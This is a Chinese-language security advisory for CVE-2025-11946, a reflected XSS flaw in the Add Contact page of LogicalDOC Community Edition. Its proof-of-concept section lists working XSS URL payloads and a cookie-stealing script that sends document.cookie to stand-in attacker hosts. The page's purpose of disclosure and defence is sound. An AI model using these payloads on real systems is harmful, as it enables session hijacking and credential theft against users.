IPBUF安全漏洞报告
English
CVE-2025-11946 CVSS 3.5 低危

CVE-2025-11946:LogicalDOC Community Edition 跨站脚本漏洞

披露日期: 2025-10-19

漏洞信息

漏洞编号
CVE-2025-11946
漏洞类型
反射型跨站脚本(Reflected XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
LogicalDOC Community Edition

相关标签

XSS跨站脚本Reflected XSS反射型XSSLogicalDOCCommunity Edition文档管理系统CVE-2025-11946frontend.jspAdd Contact Page

漏洞概述

CVE-2025-11946 是 LogicalDOC Community Edition 9.2.1 及之前版本中存在的一个反射型跨站脚本(Reflected XSS)漏洞。该漏洞位于文档管理系统的添加联系人页面(Add Contact Page),具体涉及 /frontend.jsp 文件中的处理逻辑。攻击者可以通过操控多个输入参数(包括 First Name、Last Name、Company、Address、Phone 和 Mobile 等字段)注入恶意的 JavaScript 脚本代码。由于这些参数在服务端处理后未经充分过滤或转义就返回到客户端浏览器中渲染,恶意脚本将在受害者的浏览器上下文中执行。

该漏洞的 CVSS 3.1 评分为 3.5 分,属于低危级别。虽然漏洞利用需要低权限认证(PR:L)和用户交互(UI:R),但其攻击向量为网络(AV:N),意味着远程攻击者可以通过诱骗已登录的用户点击特制链接来触发漏洞利用。漏洞的完整性影响为低(I:L),机密性影响为低(C:L),可用性影响为无(A:N)。

该漏洞已于 2025 年 10 月 19 日公开披露。值得注意的是,安全研究人员在漏洞披露前已联系了 LogicalDOC 厂商,但厂商未做出任何回应。漏洞的利用代码(PoC)已在公共渠道发布,这增加了该漏洞被实际利用的风险。尽管该漏洞被评为低危级别,但在特定场景下(如窃取会话凭证、进行钓鱼攻击或执行未授权操作)仍可能对用户和组织造成实质性安全威胁。

技术细节

该 XSS 漏洞的根本原因在于 LogicalDOC Community Edition 的添加联系人功能(Add Contact Page)在处理用户提交的表单数据时缺乏充分的输入验证和输出编码。具体而言,当用户通过 /frontend.jsp 端点提交联系人信息时,包括 First Name、Last Name、Company、Address、Phone 和 Mobile 在内的多个字段被直接嵌入到返回的 HTML 响应页面中,而服务端未对这些字段中的 HTML 特殊字符(如 <、>、"、'、& 等)进行适当的转义或过滤。

攻击者可以构造包含恶意 JavaScript 代码的请求参数,例如在 First Name 字段中注入 <script>alert(document.cookie)</script> 或 <img src=x onerror=alert(1)> 等载荷。当受害者在已登录状态下访问包含这些恶意参数的 URL 时,浏览器将解析并执行嵌入的脚本。由于漏洞利用需要低权限认证,攻击者首先需要拥有一个有效的低权限账户,或者通过社会工程学手段诱骗已登录用户点击特制链接。

该漏洞的利用链如下:首先,攻击者注册或获取一个低权限的 LogicalDOC 账户;其次,构造一个包含恶意 XSS 载荷的 URL,指向 /frontend.jsp 的添加联系人功能;然后,通过钓鱼邮件、即时消息或其他方式将链接发送给目标用户;最后,当目标用户点击链接时,恶意脚本在其浏览器中执行,可用于窃取会话 Cookie、劫持用户会话、进行权限提升或发起进一步的攻击活动。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者首先需要注册或获取一个 LogicalDOC Community Edition 的低权限用户账户,作为发起攻击的前提条件。
STEP 2
步骤2:构造恶意 XSS 载荷
攻击者针对 /frontend.jsp 的添加联系人功能,在 First Name、Last Name、Company、Address、Phone 或 Mobile 等参数中注入恶意的 JavaScript 脚本代码。
STEP 3
步骤3:投递恶意链接
攻击者通过钓鱼邮件、即时消息、社交媒体或其他社会工程学手段,将包含恶意参数的特制 URL 发送给目标用户。
STEP 4
步骤4:诱骗用户点击
目标用户在已登录状态下点击恶意链接,浏览器向 LogicalDOC 服务器发起请求,服务端将未转义的恶意脚本嵌入响应页面中返回。
STEP 5
步骤5:恶意脚本执行
浏览器解析响应页面并执行嵌入的恶意 JavaScript 脚本,攻击者可以窃取会话 Cookie、劫持用户会话、进行权限提升或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-11946 PoC: Reflected XSS in LogicalDOC Community Edition --> <!-- Vulnerable endpoint: /frontend.jsp (Add Contact Page) --> <!-- Vulnerable parameters: First Name, Last Name, Company, Address, Phone, Mobile --> <!-- Method 1: Direct URL-based XSS payload --> <!-- Inject script via First Name parameter --> https://target-logicaldoc.com/frontend.jsp?action=add_contact&firstName=<script>alert(document.cookie)</script>&lastName=test&company=test&address=test&phone=test&mobile=test <!-- Method 2: Event handler-based payload via Phone parameter --> https://target-logicaldoc.com/frontend.jsp?action=add_contact&firstName=test&lastName=test&company=test&address=test&phone="><img src=x onerror=alert('XSS')>&mobile=test <!-- Method 3: SVG-based payload via Company parameter --> https://target-logicaldoc.com/frontend.jsp?action=add_contact&firstName=test&lastName=test&company=<svg/onload=alert(document.domain)>&address=test&phone=test&mobile=test <!-- Method 4: Cookie stealing payload via Mobile parameter --> <script> var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + document.cookie; </script> <!-- URL: https://target-logicaldoc.com/frontend.jsp?action=add_contact&firstName=test&lastName=test&company=test&address=test&phone=test&mobile=<script>var i=new Image();i.src='https://attacker.com/steal?c='+document.cookie;</script> --> <!-- Steps to Reproduce: --> <!-- 1. Login to LogicalDOC Community Edition as a low-privilege user --> <!-- 2. Navigate to Add Contact page (/frontend.jsp) --> <!-- 3. In any of the fields (First Name, Last Name, Company, Address, Phone, Mobile), input XSS payload --> <!-- 4. Submit the form or trigger the page rendering --> <!-- 5. Observe that the injected script executes in the browser context -->

影响范围

LogicalDOC Community Edition <= 9.2.1

防御指南

临时缓解措施
在厂商发布正式补丁之前,建议采取以下临时缓解措施:1)对所有用户输入字段实施输入验证,限制特殊字符(<、>、"、'、& 等)的使用;2)对输出到页面的用户数据进行 HTML 实体编码;3)在 Web 服务器或反向代理层面部署 WAF 规则,过滤常见的 XSS 攻击模式;4)配置内容安全策略(CSP),限制内联脚本的执行;5)为所有会话 Cookie 设置 HTTPOnly 属性,降低会话窃取风险;6)对用户进行安全意识培训,警惕点击来源不明的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表